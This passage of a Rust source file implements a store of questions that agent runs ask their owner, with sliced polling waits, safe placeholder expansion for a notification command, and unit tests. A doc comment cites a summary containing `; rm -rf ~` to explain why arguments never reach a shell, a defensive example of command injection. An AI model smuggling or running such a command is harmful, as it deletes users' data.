887 if self.path_of(prefix).is_file() {
888 return Ok(prefix.to_owned());
889 }
890 let hits: Vec<String> = self
891 .list()
892 .into_iter()
893 .map(|q| q.id)
894 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
895 .collect();
896 match hits.len() {
897 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
898 0 => bail!("no question matches `{prefix}`"),
899 _ => bail!(
900 "`{prefix}` matches {} questions: {}",
901 hits.len(),
902 hits.join(", ")
903 ),
904 }
905 }
906
907 /// Newest modification time in the store, in milliseconds, for change
908 /// detection. The web UI compares this instead of re-reading every
909 /// question, so an idle phone on a slow link costs one `stat` per file.
910 pub fn revision(&self) -> u64 {
911 std::fs::read_dir(&self.root)
912 .into_iter()
913 .flatten()
914 .flatten()
915 .filter_map(|e| e.metadata().ok())
916 .filter_map(|m| m.modified().ok())
917 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
918 .map(|d| d.as_millis() as u64)
919 .max()
920 .unwrap_or(0)
921 }
922
923 /// How many questions are open, whichever side of the conversation is
924 /// holding the ball right now. Ten turns of back and forth between the
925 /// owner and the agent are still one open question - see
926 /// [`Question::say`] - so this does not drop while a reply is in
927 /// flight. [`Self::count_needs_owner`] is the number that does.
928 pub fn count_open(&self) -> usize {
929 self.list().iter().filter(|q| q.status.open()).count()
930 }
931
932 /// How many open questions actually need the owner right now: open, and
933 /// not [`Question::waiting_on_agent`].
934 ///
935 /// This is the number a notification channel owes - the ask bar, the nav
936 /// badge, the document title - because those exist to say "something
937 /// needs you", and a question sitting in `magi ask --thread` limbo does
938 /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
939 /// where a round trip must not look like the run resumed.
940 pub fn count_needs_owner(&self) -> usize {
941 self.list()
942 .iter()
943 .filter(|q| q.status.open() && !q.waiting_on_agent())
944 .count()
945 }
946}
947
948/// How a wait over [`Question`] ended.
949#[derive(Debug, Clone, PartialEq, Eq)]
950pub enum Wait {
951 /// The owner decided. Carries [`Question::resolution`].
952 Answered(String),
953 /// The owner spoke back without deciding - see [`Question::say`]. The
954 /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
955 /// the caller's move is to hand this text to the agent and let it call
956 /// `magi ask --thread` to keep talking, not to treat it as a decision.
957 Replied(String),
958 /// This call's [`WAIT_SLICE`] ran out with the question still
959 /// [`QuestionStatus::Open`] and nothing having happened - not the owner
960 /// going quiet, the clock on *this process* running out. The question is
961 /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
962 /// process, so the wait resumes before the shell tool that would have
963 /// killed this one gets the chance.
964 Pending,
965 /// Nobody said anything before the deadline, or the question was closed
966 /// out from under the wait with no decision recorded - a run deleted out
967 /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
968 /// now on disk.
969 Abandoned,
970}
971
972/// File a question and wait for the owner, polling the store.
973///
974/// The question is updated in place from disk whenever the wait ends, so the
975/// caller can act on it without re-reading it. `timeout` is the question's
976/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
977/// of it - see [`Wait::Pending`] for what happens to the rest.
978pub async fn ask_and_wait(
979 q: &mut Question,
980 store: &Questions,
981 notify: &config::Notify,
982 timeout: Duration,
983) -> Result<Wait> {
984 wait_for_owner(q, store, notify, timeout, POLL).await
985}
986
987/// Resume a wait already filed, without adding a turn or notifying again.
988///
989/// This is `magi ask --wait <id>`'s engine: the process that owned the
990/// previous slice is dead (the tool that ran it killed it, or it simply
991/// exited after reporting [`Wait::Pending`]), but the question on disk never
992/// stopped being open, and the owner was already notified about it once. A
993/// second notification for the same unanswered question would page the
994/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
995/// unlike [`ask_and_wait`], this skips straight to polling.
996///
997/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
998/// caller computes it as what remains until [`Question::asked_at`] plus the
999/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1000/// up the deadline the first ask set, never push it out further.
1001pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1002 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1003}
1004
1005/// [`ask_and_wait`] with the poll interval injected.
1006///
1007/// Separate only so the tests can drive a whole wait in milliseconds instead of
1008/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1009/// a knob the operator gets to tune.
1010async fn wait_for_owner(
1011 q: &mut Question,
1012 store: &Questions,
1013 cfg: &config::Notify,
1014 timeout: Duration,
1015 poll: Duration,
1016) -> Result<Wait> {
1017 store.put(q).context("file the question")?;
1018 if q.should_notify(Timestamp::now()) {
1019 if let Err(e) = notify(cfg, q).await {
1020 // A broken webhook is not a reason to throw away an implementation.
1021 // The question is already on disk and the web UI already shows it,
1022 // so the operator still has a way in; only the tap on the shoulder
1023 // is lost.
1024 tracing::warn!(
1025 "could not notify about question {}: {e:#} - the web UI is the \
1026 only surface for it now",
1027 q.short()
1028 );
1029 }
1030 }
1031 tracing::info!(
1032 "question {} from {} is waiting for you: {}",
1033 q.short(),
1034 q.seat,
1035 q.summary
1036 );
1037 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1038}
1039
1040/// The polling loop shared by a fresh wait and a resumed one.
1041///
1042/// `timeout` is the budget left before the question's `answer_timeout`
1043/// truly runs out; `slice` bounds how much of that this one call spends
1044/// before handing control back. Landing on `slice` while `timeout` still has
1045/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1046/// silence. Landing on `timeout` itself - because it was no bigger than
1047/// `slice` to begin with - is the real thing, and abandons the question
1048/// exactly as a single unsliced wait always did.
1049async fn wait_loop(
1050 q: &mut Question,
1051 store: &Questions,
1052 timeout: Duration,
1053 slice: Duration,
1054 poll: Duration,
1055) -> Result<Wait> {
1056 // The owner may already have spoken back before this call ever started -
1057 // most often because they did so in the gap between an earlier call
1058 // reporting `Wait::Pending` and this one picking the wait back up with
1059 // `--wait`. That word must surface at once rather than sit unnoticed
1060 // until some *later* turn happens to change something: this call never
1061 // saw it get added, so nothing below would otherwise recognise it as
1062 // new. `last_word_awaiting_reply` reads the question's own record of
1063 // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1064 // turn count this call would have to have been there to capture.
1065 if let Some(said) = last_word_awaiting_reply(q) {
1066 return Ok(Wait::Replied(said.to_owned()));
1067 }
1068
1069 let bounded = timeout.min(slice);
1070 let is_the_real_deadline = bounded >= timeout;
1071 let deadline = tokio::time::Instant::now() + bounded;
1072 loop {
1073 let now = tokio::time::Instant::now();
1074 if now >= deadline {
1075 if !is_the_real_deadline {
1076 return Ok(Wait::Pending);
1077 }
1078 q.abandon(format!(
1079 "no answer within {}s of asking",
1080 timeout.as_secs().max(1)
1081 ));
1082 store.put(q).context("record the abandoned question")?;
1083 tracing::warn!(
1084 "question {} went unanswered for {}s; the run parks and the \
1085 question stays as the record of it",
1086 q.short(),
1087 timeout.as_secs()
1088 );
1089 return Ok(Wait::Abandoned);
1090 }
1091 tokio::time::sleep(poll.min(deadline - now)).await;
1092 match store.get(&q.id) {
1093 Ok(fresh) if !fresh.status.open() => {
1094 // Whoever answered - the phone, `magi answer`, another daemon -
1095 // owns the record now, so adopt theirs wholesale rather than
1096 // merging into a copy that predates it.
1097 *q = fresh;
1098 return Ok(match q.resolution() {
1099 Some(a) => Wait::Answered(a),
1100 // Closed with no decision - abandoned elsewhere, most
1101 // often by the run behind it being deleted mid-wait.
1102 None => Wait::Abandoned,
1103 });
1104 }
1105 Ok(fresh) => {
1106 if let Some(said) = last_word_awaiting_reply(&fresh) {
1107 let said = said.to_owned();
1108 *q = fresh;
1109 return Ok(Wait::Replied(said));
1110 }
1111 // Still open and not waiting on the agent - nothing this
1112 // wait cares about happened, so keep polling.
1113 }
1114 Err(e) => {
1115 // Mid-rename, or a file the operator is editing by hand.
1116 // Neither is a reason to abandon a question a human may still
1117 // answer, so keep polling until the deadline decides.
1118 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1119 }
1120 }
1121 }
1122}
1123
1124/// The owner's own last word, if the agent has not caught up on it yet.
1125///
1126/// A thin wrapper over [`Question::waiting_on_agent`] that also hands back
1127/// what was said: the state is on the record itself, not derived from
1128/// anything this call has seen happen, so it reads correctly whether this is
1129/// the process that has been polling all along or a fresh `--wait` that just
1130/// loaded the question off disk for the first time. `None` on a fresh
1131/// question, one the agent already replied to, or one that is no longer
1132/// open.
1133fn last_word_awaiting_reply(q: &Question) -> Option<&str> {
1134 if !q.waiting_on_agent() {
1135 return None;
1136 }
1137 q.thread.last().map(|t| t.body.as_str())
1138}
1139
1140/// Run the operator's notification command, if one is configured.
1141///
1142/// The command is argv, never a shell string, and the substitutions below are a
1143/// single pass over each argument: a summary containing `; rm -rf ~` is one
1144/// argument to one program, and a summary containing the characters `{run}` is
1145/// not re-expanded. That property is the reason agent-authored text can be put
1146/// in a notification at all.
1147///
1148/// An error here is reported, not swallowed, so `magi notify --test` can show
1149/// the operator why nothing arrives. The waiting path logs it and carries on.
1150pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1151 let Some((program, args)) = cmd.command.split_first() else {
1152 // No command configured: the web UI is the only surface, by choice.
1153 return Ok(());
1154 };
1155 let url = web_url();
1156 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1157 tracing::warn!(
1158 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1159 so the link will be empty - export it next to `magi serve` with \
1160 the address `magi web --open` printed"
1161 );
1162 }
1163 let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
1164 tracing::debug!(program = %program, args = ?argv, "notifying");
1165
1166 let mut child = tokio::process::Command::new(program);
1167 child.quiet();
1168 child
1169 .args(&argv)
1170 .stdin(std::process::Stdio::null())
1171 // Killed if the timeout below drops this future: a notification
1172 // command left running would outlive the run it was announcing.
1173 .kill_on_drop(true);
1174 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1175 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1176 Err(_) => bail!(
1177 "notification command `{program}` did not finish within {}s",
1178 NOTIFY_TIMEOUT.as_secs()
1179 ),
1180 };
1181 if !out.status.success() {
1182 let stderr = String::from_utf8_lossy(&out.stderr);
1183 let why = stderr
1184 .lines()
1185 .rev()
1186 .find(|l| !l.trim().is_empty())
1187 .unwrap_or("no output on stderr")
1188 .trim();
1189 bail!(
1190 "notification command `{program}` exited with {}: {why}",
1191 out.status
1192 );
1193 }
1194 Ok(())
1195}
1196
1197/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1198///
1199/// One left-to-right pass, so a substituted value is never scanned for further
1200/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1201/// in a question must not make the notification recursive.
1202fn expand(template: &str, q: &Question, url: &str) -> String {
1203 let table = [
1204 ("{summary}", q.summary.as_str()),
1205 ("{run}", q.run.as_str()),
1206 ("{url}", url),
1207 ];
1208 let mut out = String::with_capacity(template.len());
1209 let mut rest = template;
1210 while let Some(at) = rest.find('{') {
1211 out.push_str(&rest[..at]);
1212 let tail = &rest[at..];
1213 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1214 Some((token, value)) => {
1215 out.push_str(value);
1216 rest = &tail[token.len()..];
1217 }
1218 None => {
1219 // Not a placeholder magi knows: it is the operator's own text.
1220 out.push('{');
1221 rest = &tail[1..];
1222 }
1223 }
1224 }
1225 out.push_str(rest);
1226 out
1227}
1228
1229/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1230fn web_url() -> String {
1231 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1232}
1233
1234/// Point a configured base URL at the view that can answer the question.
1235///
1236/// A notification the operator has to navigate from is a question that stays
1237/// unanswered until morning, so the questions view is appended - unless the
1238/// operator already wrote a fragment, in which case they have said where they
1239/// want to land and magi does not know better.
1240fn question_url(base: &str) -> String {
1241 let base = base.trim().trim_end_matches('/');
1242 if base.is_empty() || base.contains('#') {
1243 return base.to_owned();
1244 }
1245 format!("{base}/#/questions")
1246}
1247
1248/// Assemble a panel's contents in an already-empty directory.
1249///
1250/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1251/// first error without an early `return` skipping that cleanup.
1252fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1253 let index = dir.join(PANEL_HTML);
1254 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1255 for (name, src) in assets {
1256 let dst = dir.join(name);
1257 std::fs::copy(src, &dst)
1258 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1259 }
1260 Ok(())
1261}
1262
1263/// Remove a directory and everything under it, treating "not there" as done.
1264///
1265/// A panel is replaced wholesale and dropped idempotently, and in both cases
1266/// the absence of the directory is the desired end state, not an error.
1267fn clear_dir(path: &Path) -> Result<()> {
1268 match std::fs::remove_dir_all(path) {
1269 Ok(()) => Ok(()),
1270 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1271 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1272 }
1273}
1274
1275fn read_path(path: &Path) -> Result<Question> {
1276 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1277 let q: Question =
1278 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1279 if q.schema > SCHEMA {
1280 // Strictly newer, not merely different: every field added since
1281 // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1282 // here as "no thread yet" rather than as garbage. Only a schema this
1283 // build has never heard of is refused.
1284 bail!(
1285 "question {} was written by a newer magi (schema {}, this build \
1286 only speaks up to {SCHEMA})",
1287 q.id,
1288 q.schema
1289 );
1290 }
1291 Ok(q)
1292}
1293
1294fn short(id: &str) -> &str {
1295 id.split('-').next_back().unwrap_or(id)
1296}
1297
1298fn new_id() -> String {
1299 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1300 let seed = crate::rng::entropy();
1301 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1302}
1303
1304#[cfg(test)]
1305mod tests {
1306 use super::*;
1307
1308 /// A store of its own, with no process-global state - which is the point of
1309 /// `Questions::at`, and why these can run in parallel.
1310 fn store() -> (tempfile::TempDir, Questions) {
1311 let dir = tempfile::tempdir().unwrap();
1312 let s = Questions::at(dir.path().join("questions"));
1313 (dir, s)
1314 }
1315
1316 #[test]
1317 fn deleting_a_run_stops_its_questions_asking() {
1318 let (_dir, store) = store();
1319
1320 let mut open_one = choice_question();
1321 store.put(&mut open_one).unwrap();
1322 let mut answered = free_question();
1323 answered
1324 .answer(Answer::Text("keep this".to_owned()))
1325 .unwrap();
1326 store.put(&mut answered).unwrap();
1327 let mut elsewhere = choice_question();
1328 elsewhere.run = "20260903-105039-3cbf".to_owned();
1329 store.put(&mut elsewhere).unwrap();
1330
1331 let n = store
1332 .abandon_for_run(&open_one.run, "run was deleted")
1333 .unwrap();
1334 assert_eq!(n, 1, "only the open question of that run");
1335
1336 let back = store.get(&open_one.id).unwrap();
1337 assert!(!back.status.open(), "it no longer asks for a decision");
1338 assert!(
1339 back.detail.contains("run was deleted"),
1340 "the operator can see why: {}",
1341 back.detail
1342 );
1343
1344 let kept = store.get(&answered.id).unwrap();
1345 assert_eq!(
1346 kept.status,
1347 QuestionStatus::Answered,
1348 "an answered question is a decision on record, not something to revoke"
1349 );
1350 assert!(
1351 store.get(&elsewhere.id).unwrap().status.open(),
1352 "another run's question is untouched"
1353 );
1354 assert!(store.open_for(&open_one.run).is_empty());
1355 }
1356
1357 #[test]
1358 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1359 let (_dir, store) = store();
1360 let mut q = choice_question();
1361 store.put(&mut q).unwrap();
1362
1363 // `Blocked` can still be resumed - leave it exactly as it was.
1364 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1365 assert_eq!(n, 0);
1366 assert!(store.get(&q.id).unwrap().status.open());
1367
1368 // `Failed` is not - abandon it, with the run and its fate in the
1369 // reason so the owner can tell what happened without a run to read.
1370 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1371 assert_eq!(n, 1);
1372 let back = store.get(&q.id).unwrap();
1373 assert!(!back.status.open());
1374 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1375
1376 // A second call against the same, now-settled run finds nothing left.
1377 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1378 }
1379
1380 fn choice_question() -> Question {
1381 Question::new(
1382 "20260902-201256-9fb7".to_owned(),
1383 "implement".to_owned(),
1384 "impl-A".to_owned(),
1385 "Which storage backend should the cache use?".to_owned(),
1386 "Both are already dependencies.".to_owned(),
1387 vec!["SQLite".to_owned(), "Redis".to_owned()],
1388 )
1389 }
1390
1391 fn free_question() -> Question {
1392 Question::new(
1393 "20260902-201256-9fb7".to_owned(),
1394 "review".to_owned(),
1395 "rev-1".to_owned(),
1396 "What should the error message say?".to_owned(),
1397 String::new(),
1398 Vec::new(),
1399 )
1400 }
1401
1402 /// No notification, which is the default and what most of these want.
1403 fn quiet() -> config::Notify {
1404 config::Notify::default()
1405 }
1406
1407 #[test]
1408 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1409 // The front end parses these names by hand; there is no shared schema
1410 // and no compiler between the two. A rename here is a UI that shows an
1411 // empty card and reports no error, so the names are asserted literally.
1412 let mut q = choice_question();
1413 q.id = "20260902-231501-ab12".to_owned();
1414 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1415 // `serde_json::Value` holds an object's keys sorted, and key order
1416 // means nothing to a JSON reader anyway: the field *set* is what the
1417 // front end was written against, so that is what is pinned here.
1418 let keys: Vec<&str> = open
1419 .as_object()
1420 .unwrap()
1421 .keys()
1422 .map(String::as_str)
1423 .collect();
1424 assert_eq!(
1425 keys,
1426 [
1427 "answer",
1428 "answer_timeout",
1429 "answered_at",
1430 "asked_at",
1431 "assets",
1432 "choices",
1433 "detail",
1434 "id",
1435 "node",
1436 "panel",
1437 "run",
1438 "schema",
1439 "seat",
1440 "status",
1441 "summary",
1442 "thread",
1443 ],
1444 "the on-disk field set is a contract with the front end"
1445 );
1446 assert_eq!(open["schema"], 3);
1447 assert_eq!(open["thread"], serde_json::json!([]));
1448 assert_eq!(open["id"], "20260902-231501-ab12");
1449 assert_eq!(open["run"], "20260902-201256-9fb7");
1450 assert_eq!(open["node"], "implement");
1451 assert_eq!(open["seat"], "impl-A");
1452 assert_eq!(open["status"], "open");
1453 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1454 assert_eq!(open["answered_at"], serde_json::Value::Null);
1455 assert_eq!(open["answer"], serde_json::Value::Null);
1456 let asked = open["asked_at"].as_str().unwrap();
1457 assert!(
1458 asked.ends_with('Z') && asked.contains('T'),
1459 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1460 );
1461
1462 // A chosen option, exactly as the contract spells it.
1463 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1464 let answered = serde_json::to_value(&q).unwrap();
1465 assert_eq!(answered["status"], "answered");
1466 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1467 assert!(answered["answered_at"].is_string());
1468
1469 // And free text, which is the other of the two forms.
1470 let mut free = free_question();
1471 free.answer(Answer::Text("Say which file it was".to_owned()))
1472 .unwrap();
1473 assert_eq!(
1474 serde_json::to_value(&free).unwrap()["answer"],
1475 serde_json::json!({"text": "Say which file it was"})
1476 );
1477
1478 // And it survives the round trip a reader actually performs.
1479 let body = serde_json::to_string(&q).unwrap();
1480 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1481 }
1482
1483 #[test]
1484 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1485 // Four different mistakes, four different fixes: the web handler shows
1486 // these strings to the person who made them.
1487 let mut unoffered = choice_question();
1488 let a = unoffered
1489 .answer(Answer::Choice("Postgres".to_owned()))
1490 .unwrap_err()
1491 .to_string();
1492
1493 let mut typed = choice_question();
1494 let b = typed
1495 .answer(Answer::Text("use Postgres".to_owned()))
1496 .unwrap_err()
1497 .to_string();
1498
1499 let mut blank = free_question();
1500 let c = blank
1501 .answer(Answer::Text(" \n".to_owned()))
1502 .unwrap_err()
1503 .to_string();
1504
1505 let mut twice = choice_question();
1506 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1507 let d = twice
1508 .answer(Answer::Choice("Redis".to_owned()))
1509 .unwrap_err()
1510 .to_string();
1511
1512 assert!(a.contains("not one of the choices"), "{a}");
1513 assert!(b.contains("multiple choice"), "{b}");
1514 assert!(c.contains("empty"), "{c}");
1515 assert!(d.contains("already answered"), "{d}");
1516 let mut distinct = vec![a, b, c, d];
1517 let asked = distinct.len();
1518 distinct.sort_unstable();
1519 distinct.dedup();
1520 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1521
1522 // The refused ones are still open, so the owner can answer properly.
1523 assert_eq!(unoffered.status, QuestionStatus::Open);
1524 assert_eq!(typed.status, QuestionStatus::Open);
1525 assert_eq!(blank.status, QuestionStatus::Open);
1526 // And the first answer to the double-answered one survived.
1527 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1528
1529 // Free text refuses a fabricated choice for the mirror-image reason.
1530 let mut free = free_question();
1531 let e = free
1532 .answer(Answer::Choice("SQLite".to_owned()))
1533 .unwrap_err()
1534 .to_string();
1535 assert!(e.contains("free text"), "{e}");
1536 }
1537
1538 #[test]
1539 fn open_questions_are_listed_before_answered_ones() {
1540 let (_dir, s) = store();
1541 // Ids carry a timestamp, so force a known order: the answered one is
1542 // the newest, and must still sort below the open ones.
1543 let mut old_open = choice_question();
1544 old_open.id = "20260101-000001-aaaa".to_owned();
1545 let mut new_open = choice_question();
1546 new_open.id = "20260101-000002-bbbb".to_owned();
1547 let mut answered = choice_question();
1548 answered.id = "20260101-000003-cccc".to_owned();
1549 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1550 for q in [&mut old_open, &mut new_open, &mut answered] {
1551 s.put(q).unwrap();
1552 }
1553
1554 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1555 assert_eq!(
1556 ids,
1557 [
1558 "20260101-000002-bbbb",
1559 "20260101-000001-aaaa",
1560 "20260101-000003-cccc"
1561 ],
1562 "what has stopped work comes first; history sorts underneath"
1563 );
1564 assert_eq!(s.count_open(), 2);
1565 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1566 assert!(s.open_for("some-other-run").is_empty());
1567 // The short id is what the phone and the reports show.
1568 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1569 assert!(s.get("20260101-000002-bbbb").is_ok());
1570 assert!(s.resolve_id("nope").is_err());
1571 assert!(
1572 s.revision() > 0,
1573 "the store's mtime drives the phone's polling"
1574 );
1575 }
1576
1577 #[test]
1578 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1579 let (_dir, s) = store();
1580 let mut good = choice_question();
1581 s.put(&mut good).unwrap();
1582 // Truncated by a killed writer, and written by a magi from the future.
1583 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1584 let future = serde_json::json!({
1585 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1586 "seat": "s", "summary": "?", "detail": "", "choices": [],
1587 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1588 "answered_at": null, "answer": null,
1589 });
1590 std::fs::write(
1591 s.path_of("20260101-000010-beef"),
1592 serde_json::to_string(&future).unwrap(),
1593 )
1594 .unwrap();
1595
1596 let listed = s.list();
1597 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1598 assert_eq!(listed[0].id, good.id);
1599 // Asked for by name, the unreadable one explains itself instead.
1600 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1601 assert!(e.contains("schema"), "{e}");
1602 }
1603
1604 #[tokio::test]
1605 async fn the_wait_returns_the_answer_another_process_wrote() {
1606 // The phone, `magi answer` and this run are three processes with no
1607 // channel between them: the file is the channel, so the wait has to see
1608 // a write it did not make. Sub-second timings keep this a real wait
1609 // without a real one's duration.
1610 let (dir, s) = store();
1611 let mut q = choice_question();
1612 let id = q.id.clone();
1613 let writer = Questions::at(dir.path().join("questions"));
1614 let handle = tokio::spawn(async move {
1615 tokio::time::sleep(Duration::from_millis(30)).await;
1616 let mut fresh = writer.get(&id).expect("the question was filed first");
1617 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1618 writer.put(&mut fresh).unwrap();
1619 });
1620
1621 let got = wait_for_owner(
1622 &mut q,
1623 &s,
1624 &quiet(),
1625 Duration::from_secs(5),
1626 Duration::from_millis(10),
1627 )
1628 .await
1629 .unwrap();
1630
1631 handle.await.unwrap();
1632 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
1633 assert_eq!(
1634 q.status,
1635 QuestionStatus::Answered,
1636 "the caller's copy is refreshed from the answering process's record"
1637 );
1638 assert!(q.answered_at.is_some());
1639 }
1640
1641 #[tokio::test]
1642 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1643 let (_dir, s) = store();
1644 let mut q = choice_question();
1645
1646 let got = wait_for_owner(
1647 &mut q,
1648 &s,
1649 &quiet(),
1650 Duration::from_millis(60),
1651 Duration::from_millis(10),
1652 )
1653 .await
1654 .unwrap();
1655
1656 assert_eq!(
1657 got,
1658 Wait::Abandoned,
1659 "a slow human is not an error; the run parks"
1660 );
1661 assert_eq!(q.status, QuestionStatus::Abandoned);
1662 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1663 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1664 assert!(
1665 on_disk.detail.contains("Abandoned:"),
1666 "why nobody answered belongs with the question: {}",
1667 on_disk.detail
1668 );
1669 assert!(on_disk.resolution().is_none());
1670 assert_eq!(s.count_open(), 0);
1671 }
1672
1673 #[tokio::test]
1674 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
1675 // This is the whole point of slicing: `timeout` (the real
1676 // `answer_timeout` budget) is far larger than `slice`, so the loop
1677 // must land on `slice` first and hand back `Pending` - not read the
1678 // silence so far as the owner having given up.
1679 let (_dir, s) = store();
1680 let mut q = choice_question();
1681 s.put(&mut q).unwrap();
1682
1683 let got = wait_loop(
1684 &mut q,
1685 &s,
1686 Duration::from_secs(3600),
1687 Duration::from_millis(30),
1688 Duration::from_millis(10),
1689 )
1690 .await
1691 .unwrap();
1692
1693 assert_eq!(
1694 got,
1695 Wait::Pending,
1696 "the clock on this call ran out, not the owner's patience"
1697 );
1698 assert_eq!(
1699 q.status,
1700 QuestionStatus::Open,
1701 "a slice expiring must never abandon the question"
1702 );
1703 let on_disk = s.get(&q.id).expect("still on disk, still open");
1704 assert_eq!(
1705 on_disk.status,
1706 QuestionStatus::Open,
1707 "nothing about the record changed just because this call gave up"
1708 );
1709 }
1710
1711 #[tokio::test]
1712 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
1713 // The shape `magi ask --wait <id>` relies on: one slice finds nothing
1714 // and returns `Pending`, a second slice - a fresh call, exactly as a
1715 // fresh process would make - picks the same question back up and
1716 // sees an answer written in between.
1717 let (dir, s) = store();
1718 let mut q = choice_question();
1719 s.put(&mut q).unwrap();
1720
1721 let first = wait_loop(
1722 &mut q,
1723 &s,
1724 Duration::from_secs(3600),
1725 Duration::from_millis(30),
1726 Duration::from_millis(10),
1727 )
1728 .await
1729 .unwrap();
1730 assert_eq!(first, Wait::Pending);
1731
1732 let id = q.id.clone();
1733 let writer = Questions::at(dir.path().join("questions"));
1734 let mut fresh = writer.get(&id).unwrap();
1735 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1736 writer.put(&mut fresh).unwrap();
1737
1738 // `resume_wait` uses its own production poll interval rather than a
1739 // test-injected one, so the budget here only needs to be large enough
1740 // to cover one real poll tick - the point is that it is `resume_wait`
1741 // itself, not a helper, that finds the answer.
1742 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
1743 .await
1744 .unwrap();
1745 assert_eq!(second, Wait::Answered("Redis".to_owned()));
1746 assert_eq!(q.status, QuestionStatus::Answered);
1747 }
1748
1749 #[tokio::test]
1750 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
1751 // The owner can speak back while nothing is running at all - between
1752 // one call reporting `Wait::Pending` and the next `--wait` picking
1753 // the question back up - and whoever resumes the wait loads a
1754 // *fresh* copy of the question off disk, one whose thread already
1755 // contains that reply. A baseline taken from that fresh copy would
1756 // treat the reply as pre-existing and never notice it "arrive",
1757 // leaving the agent polling in silence until `answer_timeout`
1758 // eventually abandons the question - replacing the exact accident
1759 // this feature exists to fix with a quieter version of itself.
1760 let (dir, s) = store();
1761 let mut q = choice_question();
1762 s.put(&mut q).unwrap();
1763
1764 let first = wait_loop(
1765 &mut q,
1766 &s,
1767 Duration::from_secs(3600),
1768 Duration::from_millis(30),
1769 Duration::from_millis(10),
1770 )
1771 .await
1772 .unwrap();
1773 assert_eq!(first, Wait::Pending);
1774
1775 // The owner speaks back during the gap, with nobody running yet.
1776 let id = q.id.clone();
1777 let writer = Questions::at(dir.path().join("questions"));
1778 let mut fresh = writer.get(&id).unwrap();
1779 fresh.say("why not Postgres?").unwrap();
1780 writer.put(&mut fresh).unwrap();
1781
1782 // `magi ask --wait` re-reads the question rather than reusing the
1783 // stale in-memory copy the earlier call held - so the copy handed to
1784 // `resume_wait` here already carries the reply, same as `fresh` above.
1785 let mut resumed = s.get(&id).unwrap();
1786 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
1787 .await
1788 .unwrap();
1789 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
1790 assert_eq!(
1791 resumed.status,
